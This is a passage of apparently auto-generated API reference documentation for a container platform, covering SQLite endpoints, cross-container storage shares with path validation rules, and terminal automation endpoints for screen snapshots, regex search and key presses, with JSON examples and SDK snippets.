**Page:** api/sqlite-documentation

[Download Raw Markdown](./api/sqlite-documentation.md)

---

## API Endpoints Summary

- **GET** `/api/v1/sqlite/openapi.json` — Get OpenAPI specification (JSON redirect)
- **GET** `/api/v1/sqlite/openapi.yaml` — Get OpenAPI specification (YAML)

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Sqlite:Health

**Page:** api/sqlite-health

[Download Raw Markdown](./api/sqlite-health.md)

---

## API Endpoints Summary

- **GET** `/api/v1/sqlite/health` — Service health check
- **GET** `/api/v1/sqlite/health/cache` — Dynamic-DB cache snapshot

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Sqlite:History

**Page:** api/sqlite-history

[Download Raw Markdown](./api/sqlite-history.md)

---

## API Endpoints Summary

- **GET** `/api/v1/sqlite/history` — Get query history
- **DELETE** `/api/v1/sqlite/history` — Clear query history
- **DELETE** `/api/v1/sqlite/history/{index}` — Delete history entry
- **GET** `/api/v1/sqlite/history/stats` — Get history statistics

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Sqlite:KV Store

**Page:** api/sqlite-kv-store

[Download Raw Markdown](./api/sqlite-kv-store.md)

---

## API Endpoints Summary

- **GET** `/api/v1/sqlite/kv` — List keys
- **GET** `/api/v1/sqlite/kv/{key}` — Get value by key
- **PUT** `/api/v1/sqlite/kv/{key}` — Set value for key
- **DELETE** `/api/v1/sqlite/kv/{key}` — Delete key
- **HEAD** `/api/v1/sqlite/kv/{key}` — Check if key exists
- **POST** `/api/v1/sqlite/kv/{key}/decr` — Atomic decrement
- **GET** `/api/v1/sqlite/kv/{key}/history` — Get key operation history
- **POST** `/api/v1/sqlite/kv/{key}/incr` — Atomic increment
- **POST** `/api/v1/sqlite/kv/{key}/pop` — Remove from array end
- **POST** `/api/v1/sqlite/kv/{key}/push` — Append to array
- **POST** `/api/v1/sqlite/kv/{key}/remove` — Remove array element
- **POST** `/api/v1/sqlite/kv/{key}/rollback` — Rollback key operations
- **GET** `/api/v1/sqlite/kv/{key}/snapshot` — Get key snapshot at operation
- **POST** `/api/v1/sqlite/kv/batch/delete` — Batch delete multiple keys
- **POST** `/api/v1/sqlite/kv/batch/get` — Batch get multiple keys
- **POST** `/api/v1/sqlite/kv/batch/set` — Batch set multiple keys
- **GET** `/api/v1/sqlite/kv/diff` — Compare table snapshots
- **POST** `/api/v1/sqlite/kv/rollback` — Rollback entire table
- **GET** `/api/v1/sqlite/kv/snapshot` — Get table snapshot at timestamp

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Sqlite:Query

**Page:** api/sqlite-query

[Download Raw Markdown](./api/sqlite-query.md)

---

## API Endpoints Summary

- **GET** `/api/v1/sqlite/query` — Execute shareable SQL query

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Storage Shares

**Page:** api/storage-shares

[Download Raw Markdown](./api/storage-shares.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Storage Shares

Storage shares let you expose a directory from one container to another container or to an entire project. The source container controls **what** path is shared; the target mount path is determined automatically by the server infrastructure. Shares support read-only and read-write modes, optional expiration, and can be toggled on the receiving side.

Use the endpoints on this page to create, list, inspect, update, and delete shares, as well as to view and accept incoming shares targeted at your containers.

---

## Incoming Shares

Incoming shares are the **receiver view** — storage that other containers are sharing with a specific target. They include both 1:1 container shares and project-wide shares, deduplicated so that direct shares take priority over project shares. Self-shares and expired shares are excluded.

### `GET /api/v1/containers/{id}/storage/incoming`

Get all shares targeting this container (both direct shares and project-level shares). Shows what storage this container is configured to receive. Includes deduplication (direct shares take priority over project shares) and filters out self-shares and expired shares.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |

#### Response



```json
{
  "statusCode": 200,
  "message": "Incoming shares retrieved successfully",
  "data": [
    {
      "id": "507f1f77bcf86cd799439011",
      "source_container_id": "507f1f77bcf86cd799439022",
      "source_path": "/etc/app/config",
      "target_container_id": "507f1f77bcf86cd799439033",
      "target_project_id": null,
      "target_type": "container",
      "mode": "readonly",
      "enabled": true,
      "status": "active",
      "status_message": null,
      "expires_at": null,
      "created_by": "507f1f77bcf86cd799439044",
      "created_at": "2025-01-15T10:30:00.000Z",
      "updated_at": "2025-01-15T10:30:00.000Z"
    },
    {
      "id": "507f1f77bcf86cd799439077",
      "source_container_id": "507f1f77bcf86cd799439088",
      "source_path": "/opt/shared-libs",
      "target_project_id": "507f1f77bcf86cd799439055",
      "target_container_id": null,
      "target_type": "project",
      "mode": "readonly",
      "enabled": true,
      "status": "active",
      "status_message": null,
      "expires_at": null,
      "created_by": "507f1f77bcf86cd799439044",
      "created_at": "2025-01-01T00:00:00.000Z",
      "updated_at": "2025-01-01T00:00:00.000Z"
    }
  ]
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```



#### SDK Usage

```ts
const { data } = await client.api.storageShares.listIncoming({
  id: "507f1f77bcf86cd799439033"
});
```

### `GET /api/v1/storage/incoming`

Get all shares targeting your containers across all projects. Shows what storage you are receiving from others.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `realm_id` | query | string | No | Filter by realm ID. Alternative to using realm subdomain in URL. |

#### Response



```json
{
  "statusCode": 200,
  "message": "All incoming shares retrieved successfully",
  "data": [
    {
      "id": "507f1f77bcf86cd799439011",
      "source_container_id": "507f1f77bcf86cd799439022",
      "source_path": "/home/app/shared-data",
      "target_container_id": "507f1f77bcf86cd799439033",
      "target_project_id": null,
      "target_type": "container",
      "mode": "readonly",
      "enabled": true,
      "status": "active",
      "status_message": null,
      "expires_at": 1735689599,
      "created_by": "507f1f77bcf86cd799439044",
      "created_at": "2025-01-15T10:30:00.000Z",
      "updated_at": "2025-01-15T10:30:00.000Z"
    }
  ]
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```



#### SDK Usage

```ts
const { data } = await client.api.storageShares.listIncomingGlobalIterator({});
```

### `PATCH /api/v1/containers/{id}/storage/incoming/{shareId}/mount`

Enable or disable mounting of an incoming share. Allows the target container owner to accept or reject incoming shares. Both the creator's `enabled` flag and the receiver's `mount` flag must be `true` for the share to appear in container configuration.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Target container ID (receiver container) |
| `shareId` | path | string | Yes | Share ID to toggle |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `mount` | boolean | Yes | Set to `true` to accept and mount the share, `false` to reject/unmount it |

```json
{
  "mount": true
}
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Share enabled for mounting successfully",
  "data": {
    "share": {
      "id": "507f1f77bcf86cd799439011",
      "source_container_id": "507f1f77bcf86cd799439022",
      "source_path": "/home/app/shared-data",
      "target_container_id": "507f1f77bcf86cd799439033",
      "target_project_id": null,
      "target_type": "container",
      "mode": "readonly",
      "alias": "prod-data-share",
      "label": "production",
      "description": "Shared application data directory",
      "enabled": true,
      "status": "active",
      "status_message": null,
      "expires_at": 1735689599,
      "expiry_notified": false,
      "created_by": "507f1f77bcf86cd799439044",
      "created_at": "2025-01-15T10:30:00.000Z",
      "updated_at": "2025-01-15T14:45:00.000Z"
    },
    "override": {
      "id": "507f1f77bcf86cd799439099",
      "share_id": "507f1f77bcf86cd799439011",
      "container_id": "507f1f77bcf86cd799439033",
      "mount": true,
      "created_at": "2025-01-15T14:45:00.000Z",
      "updated_at": "2025-01-15T14:45:00.000Z"
    }
  }
}
```


```json
{
  "statusCode": 400,
  "error": "VALIDATION_ERROR",
  "message": "This share does not target the specified container",
  "data": {
    "share_id": "507f1f77bcf86cd799439011",
    "container_id": "507f1f77bcf86cd799439099",
    "target_container_id": "507f1f77bcf86cd799439033",
    "target_project_id": null
  }
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Share not found"
}
```



#### SDK Usage

```ts
await client.api.storageShares.toggleIncomingMount({
  id: "507f1f77bcf86cd799439033",
  shareId: "507f1f77bcf86cd799439011",
  data: { mount: true }
});
```

---

## Outgoing Shares (Creator View)

Outgoing shares are what **your containers** are exposing to others. The endpoints below let you list, inspect, create, update, and delete shares. Share IDs are globally unique.

### `GET /api/v1/containers/{id}/storage/shares`

List all shares originating from this source container. Use query parameters to narrow results by target type, label, status, or enabled state.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Source container ID |
| `target_type` | query | string | No | Filter by target type. Allowed values: `container`, `project`. |
| `label` | query | string | No | Filter by label |
| `status` | query | string | No | Filter by status. Allowed values: `active`, `failed`. |
| `enabled` | query | string | No | Filter by enabled status. Allowed values: `true`, `false`. |
| `include_expired` | query | string | No | Include expired shares. Allowed values: `true`, `false`. Default: `false`. |
| `realm_id` | query | string | No | Filter by realm ID. Alternative to using realm subdomain in URL. |

#### Response



```json
{
  "statusCode": 200,
  "message": "Storage shares retrieved successfully",
  "data": [
    {
      "id": "507f1f77bcf86cd799439011",
      "source_container_id": "507f1f77bcf86cd799439022",
      "source_path": "/home/app/shared-data",
      "target_container_id": "507f1f77bcf86cd799439033",
      "target_project_id": null,
      "target_type": "container",
      "mode": "readonly",
      "alias": "prod-data-share",
      "label": "production",
      "description": "Shared application data directory",
      "enabled": true,
      "status": "active",
      "status_message": null,
      "expires_at": 1735689599,
      "expiry_notified": false,
      "created_by": "507f1f77bcf86cd799439044",
      "created_at": "2025-01-15T10:30:00.000Z",
      "updated_at": "2025-01-15T10:30:00.000Z"
    },
    {
      "id": "507f1f77bcf86cd799439066",
      "source_container_id": "507f1f77bcf86cd799439022",
      "source_path": "/var/log/app",
      "target_project_id": "507f1f77bcf86cd799439055",
      "target_container_id": null,
      "target_type": "project",
      "mode": "readwrite",
      "alias": null,
      "label": "logs",
      "description": "Application logs shared with project",
      "enabled": true,
      "status": "active",
      "status_message": null,
      "expires_at": null,
      "expiry_notified": false,
      "created_by": "507f1f77bcf86cd799439044",
      "created_at": "2025-01-10T08:00:00.000Z",
      "updated_at": "2025-01-10T08:00:00.000Z"
    }
  ]
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```



#### SDK Usage

```ts
const { data } = await client.api.storageShares.listIterator({
  id: "507f1f77bcf86cd799439022",
  target_type: "container",
  enabled: "true"
});
```

### `GET /api/v1/storage/shares`

List all storage shares you have created across all your containers (what you are sharing with others).

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `realm_id` | query | string | No | Filter by realm ID. Alternative to using realm subdomain in URL. |

#### Response



```json
{
  "statusCode": 200,
  "message": "All storage shares retrieved successfully",
  "data": [
    {
      "id": "507f1f77bcf86cd799439011",
      "source_container_id": "507f1f77bcf86cd799439022",
      "source_path": "/home/app/shared-data",
      "target_container_id": "507f1f77bcf86cd799439033",
      "target_project_id": null,
      "target_type": "container",
      "mode": "readonly",
      "alias": "prod-data-share",
      "label": "production",
      "description": "Shared application data directory",
      "enabled": true,
      "status": "active",
      "status_message": null,
      "expires_at": 1735689599,
      "expiry_notified": false,
      "created_by": "507f1f77bcf86cd799439044",
      "created_at": "2025-01-15T10:30:00.000Z",
      "updated_at": "2025-01-15T10:30:00.000Z"
    }
  ]
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```



#### SDK Usage

```ts
const { data } = await client.api.storageShares.listGlobalIterator({});
```

### `GET /api/v1/containers/{id}/storage/shares/{shareId}`

Retrieve details of a specific storage share.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Source container ID |
| `shareId` | path | string | Yes | Share ID |

#### Response



```json
{
  "statusCode": 200,
  "message": "Storage share retrieved successfully",
  "data": {
    "id": "507f1f77bcf86cd799439011",
    "source_container_id": "507f1f77bcf86cd799439022",
    "source_path": "/home/app/shared-data",
    "target_container_id": "507f1f77bcf86cd799439033",
    "target_project_id": null,
    "target_type": "container",
    "mode": "readonly",
    "alias": "prod-data-share",
    "label": "production",
    "description": "Shared application data directory",
    "enabled": true,
    "status": "active",
    "status_message": null,
    "expires_at": 1735689599,
    "expiry_notified": false,
    "created_by": "507f1f77bcf86cd799439044",
    "created_at": "2025-01-15T10:30:00.000Z",
    "updated_at": "2025-01-15T10:30:00.000Z"
  }
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Storage share not found"
}
```



#### SDK Usage

```ts
const { data } = await client.api.storageShares.get({
  id: "507f1f77bcf86cd799439022",
  shareId: "507f1f77bcf86cd799439011"
});
```

### `POST /api/v1/containers/{id}/storage/shares`

Share a directory from a source container with a target container or an entire project. The share is automatically mounted on the target(s).


Source paths are security-hardened: character whitelist is `a-z A-Z 0-9 / - _ .`, system paths under `/proc`, `/sys`, `/dev`, `/boot`, `/run`, and `/var/run` are blocked, and path traversal (`..`) is rejected. The target mount path is determined by server infrastructure and cannot be specified by the caller.


#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Source container ID |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `source_path` | string | Yes | Absolute path in the source container to share |
| `target_container_id` | string | No | 1:1 container share target. Mutually exclusive with `target_project_id`. |
| `target_project_id` | string | No | Project-wide share target. Auto-mounts on all containers in the project. Mutually exclusive with `target_container_id`. |
| `mode` | string | Yes | Mount mode. Allowed values: `readonly`, `readwrite`. |
| `alias` | string | No | Optional human-friendly alias (lowercase alphanumeric, hyphens, underscores; 3–63 chars) |
| `label` | string | No | Optional label for grouping shares (3–63 chars) |
| `description` | string | No | Optional description (max 1000 chars) |
| `enabled` | boolean | No | Whether to enable the share (default: `true`) |
| `expires_at` | number | No | Unix timestamp (seconds) when the share should expire |

```json
{
  "source_path": "/home/shared/documents",
  "target_container_id": "507f1f77bcf86cd799439033",
  "mode": "readonly",
  "alias": "shared-docs",
  "label": "documentation",
  "description": "Read-only access to team documentation"
}
```

#### Response



```json
{
  "statusCode": 201,
  "message": "Storage share created successfully",
  "data": {
    "id": "507f1f77bcf86cd799439020",
    "source_container_id": "507f1f77bcf86cd799439012",
    "source_path": "/data/shared",
    "target_project_id": "507f1f77bcf86cd799439010",
    "target_container_id": null,
    "target_type": "project",
    "mode": "readonly",
    "alias": "team-shared-data",
    "label": "production",
    "description": "Shared project files for team collaboration",
    "enabled": true,
    "status": "active",
    "status_message": null,
    "expires_at": 1738252800,
    "expiry_notified": false,
    "created_by": "507f1f77bcf86cd799439001",
    "created_at": "2025-01-29T15:00:00.000Z",
    "updated_at": "2025-01-29T15:00:00.000Z"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "A container cannot share a directory with itself."
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `INVALID_PATH` | Invalid Path | The provided source or destination path is invalid. Kernel paths like `/proc`, `/sys`, `/dev` are not allowed. | Provide a valid, non-kernel path for the storage share. |
| `SELF_SHARE` | Cannot Share to Self | A container cannot share a directory with itself. | Choose a different target container or project. |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the `Authorization` header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONTAINER_NOT_FOUND` | Container not found | The requested container does not exist or you do not have permission to access it. | Verify the container ID is correct and that you have access to the project it belongs to. |
| `RESOURCE_NOT_FOUND` | Resource not found | The requested resource does not exist or has been deleted | Verify the resource ID and ensure it exists |


```json
{
  "statusCode": 409,
  "error": "Conflict",
  "message": "Storage share already exists."
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `SHARE_ALREADY_EXISTS` | Share Already Exists | A share with the same source path and target already exists. | Update the existing share or choose a different target. |


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Rate limit exceeded"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `RATE_LIMIT_EXCEEDED` | Rate limit exceeded | You have exceeded the rate limit for this endpoint | Wait before making additional requests, or upgrade your plan for higher limits |



#### SDK Usage

```ts
await client.api.storageShares.create({
  id: "507f1f77bcf86cd799439012",
  data: {
    source_path: "/home/shared/documents",
    target_container_id: "507f1f77bcf86cd799439033",
    mode: "readonly",
    alias: "shared-docs",
    label: "documentation",
    description: "Read-only access to team documentation"
  }
});
```

### `PATCH /api/v1/containers/{id}/storage/shares/{shareId}`

Update share properties such as mode, alias, label, description, enabled state, and expiration. Only the fields provided in the request body are updated; omit a field to leave it unchanged. Pass `null` for an explicit clear (where supported).

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Source container ID |
| `shareId` | path | string | Yes | Share ID |

#### Request Body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `mode` | string | No | Mount mode. Allowed values: `readonly`, `readwrite`. |
| `alias` | string \| null | No | Alias (`null` to remove) |
| `label` | string \| null | No | Label (`null` to remove) |
| `description` | string \| null | No | Description (`null` to remove) |
| `enabled` | boolean | No | Enable or disable the share |
| `expires_at` | number \| null | No | Unix timestamp (seconds) when the share expires (`null` to never expire) |

```json
{
  "mode": "readwrite",
  "alias": "prod-data-rw",
  "description": "Updated to read-write access",
  "expires_at": null
}
```

#### Response



```json
{
  "statusCode": 200,
  "message": "Storage share updated successfully",
  "data": {
    "id": "507f1f77bcf86cd799439011",
    "source_container_id": "507f1f77bcf86cd799439022",
    "source_path": "/home/app/shared-data",
    "target_container_id": "507f1f77bcf86cd799439033",
    "target_project_id": null,
    "target_type": "container",
    "mode": "readwrite",
    "alias": "prod-data-rw",
    "label": "production",
    "description": "Updated to read-write access",
    "enabled": true,
    "status": "active",
    "status_message": null,
    "expires_at": null,
    "expiry_notified": false,
    "created_by": "507f1f77bcf86cd799439044",
    "created_at": "2025-01-15T10:30:00.000Z",
    "updated_at": "2025-01-15T14:45:00.000Z"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Validation failed"
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Storage share not found"
}
```



#### SDK Usage

```ts
await client.api.storageShares.update({
  id: "507f1f77bcf86cd799439022",
  shareId: "507f1f77bcf86cd799439011",
  data: {
    mode: "readwrite",
    description: "Updated to read-write access"
  }
});
```

### `DELETE /api/v1/storage/shares/{shareId}`

Remove a storage share by ID. Share IDs are globally unique, so the source container ID is not required. The share is automatically unmounted from its target(s).

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `shareId` | path | string | Yes | Share ID (globally unique, no container ID needed) |

#### Response



```json
{
  "statusCode": 200,
  "message": "Storage share deleted successfully"
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Storage share not found"
}
```



#### SDK Usage

```ts
await client.api.storageShares.delete({
  shareId: "507f1f77bcf86cd799439011"
});
```

---

# Terminal: Automation

**Page:** api/terminal/automation

[Download Raw Markdown](./api/terminal/automation.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Terminal Automation API provides programmatic control over TUI (text-based UI) applications running in managed terminal sessions. Use these endpoints to snapshot the screen, search rendered output with regex, inject key presses and pasted text, and block until a target condition is met — without driving a real keyboard. Endpoints are backed by a server-side libvterm parser that mirrors the browser's xterm.js state, so snapshots reflect exactly what a user would see.

## Screen Inspection

### `GET /api/v1/terminal/snapshot`

Returns a rendered snapshot of the terminal screen as seen by a user. The snapshot includes the visible text grid (`lines`), cursor position, window title, fullscreen (alt-screen) state, reverse-video highlight spans, and a monotonic `sequence` counter. On first call for a session the parser is lazily initialized by replaying the session's output buffer.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `terminal_id` | query | string | Yes | Terminal session ID (numeric 1-65535) |
| `include_colors` | query | boolean | No | Include ANSI SGR `colored_lines` array alongside plain text `lines`. Default: `false` |
| `include_highlights` | query | boolean | No | Include reverse-video highlight spans. Default: `true` |
| `scroll_offset` | query | integer | No | Lines into scrollback (0 = live viewport). Default: `0` |

### Response



```json
{
  "terminal_id": 1042,
  "sequence": 4271,
  "title": "vim /etc/hosts",
  "alt_screen": false,
  "dimensions": { "rows": 24, "cols": 80 },
  "cursor": { "row": 7, "col": 12, "visible": true },
  "lines": [
    "  GNU nano 5.4        /etc/hosts              ",
    "127.0.0.1   localhost",
    "::1         localhost",
    ""
  ],
  "highlights": [
    { "row": 1, "col_start": 0, "col_end": 12, "reverse": true }
  ],
  "colored_lines": null
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid parameters"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Session not found"
}
```


```json
{
  "statusCode": 405,
  "error": "Method Not Allowed",
  "message": "method_not_allowed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "VTerm memory cap exceeded"
}
```



### SDK

```ts
const snapshot = await client.terminal.terminalAutomation.getTerminalSnapshot({
  terminal_id: "1042",
  include_colors: true,
  include_highlights: true,
  scroll_offset: 0
});
```

### `GET /api/v1/terminal/find`

Search the rendered terminal screen (or scrollback) for a PCRE2 regular expression pattern. Returns cell-coordinate hits with matched text. The scan enforces an internal 500 ms wall-clock bound to prevent ReDoS.


The scan stops after 500 ms and sets `deadline_exceeded: true` in the response. Shape patterns to terminate quickly, or use anchored expressions.


### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `terminal_id` | query | string | Yes | Terminal session ID |
| `pattern` | query | string | Yes | PCRE2 regex pattern to search for (max 1024 bytes) |
| `scope` | query | string | No | Search scope: `screen` (default), `scrollback`, or `all` |
| `limit` | query | integer | No | Maximum number of hits to return (default 100, max 1000) |
| `case_insensitive` | query | boolean | No | Case-insensitive matching. Default: `false` |
| `scroll_offset` | query | integer | No | Scrollback offset for screen scope (0 = live viewport). Default: `0` |

### Response



```json
{
  "terminal_id": 1042,
  "pattern": "Error.*",
  "scope": "screen",
  "total": 2,
  "truncated": false,
  "deadline_exceeded": false,
  "hits": [
    { "row": 12, "col": 4, "text": "Error: file not found" },
    { "row": 18, "col": 0, "text": "Error: permission denied" }
  ]
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid parameters or regex"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Session not found"
}
```


```json
{
  "statusCode": 405,
  "error": "Method Not Allowed",
  "message": "method_not_allowed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "VTerm memory cap exceeded"
}
```



### SDK

```ts
const results = await client.terminal.terminalAutomation.findInTerminal({
  terminal_id: "1042",
  pattern: "Error.*",
  scope: "screen",
  limit: 100,
  case_insensitive: false,
  scroll_offset: 0
});
```

### `GET /api/v1/terminal/keys`

Returns the full list of key names accepted by `/api/v1/terminal/press`, including aliases and canonical forms. Useful for client-side validation and discoverability. Single printable characters (a-z, 0-9, punctuation) are also accepted but not listed individually.

This endpoint takes no parameters.

### Response



```json
{
  "keys": [
    "enter", "tab", "escape", "backspace", "space",
    "up", "down", "left", "right",
    "f1", "f2", "f3", "f4", "f5", "f6", "f7", "f8", "f9", "f10", "f11", "f12",
    "ctrl+a", "ctrl+b", "ctrl+c", "ctrl+d", "ctrl+e", "ctrl+f",
    "ctrl+g", "ctrl+h", "ctrl+i", "ctrl+j", "ctrl+k", "ctrl+l",
    "ctrl+m", "ctrl+n", "ctrl+o", "ctrl+p", "ctrl+q", "ctrl+r",
    "ctrl+s", "ctrl+t", "ctrl+u", "ctrl+v", "ctrl+w", "ctrl+x",
    "ctrl+y", "ctrl+z",
    "esc", "bs", "del", "home", "end", "page_up", "page_down",
    "insert", "kp_enter", "kp_plus", "kp_minus"
  ]
}
```


```json
{
  "statusCode": 405,
  "error": "Method Not Allowed",
  "message": "method_not_allowed"
}
```



### SDK

```ts
const { keys } = await client.terminal.terminalAutomation.listSupportedKeys();
```

## State & Metrics

### `GET /api/v1/terminal/{terminal_id}/automation`

Returns the VT parser state for a specific session: whether vterm is active, dimensions, update sequence counter, time since last screen change, alt-screen flag, title, scrollback length, and active waiter count. Useful for debugging automation workflows ("why did my wait timeout? did the screen actually change?").

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `terminal_id` | path | string | Yes | Terminal session ID |

### Response



```json
{
  "terminal_id": 1042,
  "vterm_active": true,
  "dimensions": { "rows": 24, "cols": 80 },
  "update_seq": 4271,
  "ms_since_change": 142,
  "alt_screen": false,
  "title": "vim /etc/hosts",
  "scrollback_len": 1240,
  "active_waiters": 1
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Malformed terminal_id in the URL path (not numeric 1-65535)."
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Session not found"
}
```


```json
{
  "statusCode": 405,
  "error": "Method Not Allowed",
  "message": "method_not_allowed"
}
```



### SDK

```ts
const state = await client.terminal.terminalAutomation.getSessionAutomationState({
  terminal_id: "1042"
});
```

### `GET /api/v1/terminal/automation/metrics`

Returns global metrics for the server-side VT parser: active vterm session count, memory used/cap in MB, total active wait-waiters across all sessions, and configured limits. Use to monitor resource usage, tune `--vterm-memory-cap-mb`, and detect leaks.

This endpoint takes no parameters.

### Response



```json
{
  "active_sessions": 14,
  "memory_used_mb": 87.4,
  "memory_cap_mb": 512,
  "active_waiters": 3,
  "limits": {
    "max_waiters_per_session": 16,
    "max_body_size_mb": 8
  }
}
```


```json
{
  "statusCode": 405,
  "error": "Method Not Allowed",
  "message": "method_not_allowed"
}
```



### SDK

```ts
const metrics = await client.terminal.terminalAutomation.getAutomationMetrics();
```

## Input

### `POST /api/v1/terminal/press`

Send one or more named key presses to a terminal session. Keys are encoded through libvterm's keyboard API which respects the terminal's current application-cursor mode (DECCKM) and keypad mode (DECKPAM), ensuring correct byte sequences for programs like `vim`, `htop`, and `tmux`.


All keys are validated before any are sent. A single unknown key rejects the entire request with no partial writes. Use `/api/v1/terminal/keys` to discover the supported key set.


### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `terminal_id` | query | string | Yes | Terminal session ID |

### Request Body

Exactly one of `keys` or `key` is required.

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `keys` | array | No | Array of key names to press in sequence (e.g. `["ctrl+c", "arrow_up", "enter"]`). Mutually exclusive with `key`. Maximum 256 entries per request. |
| `key` | string | No | Single key name for one-shot press (e.g. `"enter"`). Mutually exclusive with `keys`. |

```json
{
  "keys": ["ctrl+c", "arrow_up", "enter"]
}
```

### Response



```json
{
  "terminal_id": 1042,
  "keys_pressed": 2,
  "bytes_written": 6
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Unknown key name or invalid request"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Session not found"
}
```


```json
{
  "statusCode": 405,
  "error": "Method Not Allowed",
  "message": "session_readonly"
}
```


```json
{
  "statusCode": 413,
  "error": "Payload Too Large",
  "message": "Request body exceeds --max-body-size cap (default 8 MB)."
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Write to the session's PTY or socket failed, OR the per-request 1 MiB drain cap was hit mid-sequence."
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "VTerm memory cap exceeded"
}
```



### SDK

```ts
await client.terminal.terminalAutomation.pressTerminalKeys({
  terminal_id: "1042",
  data: {
    keys: ["ctrl+c", "arrow_up", "enter"]
  }
});
```

### `POST /api/v1/terminal/paste`

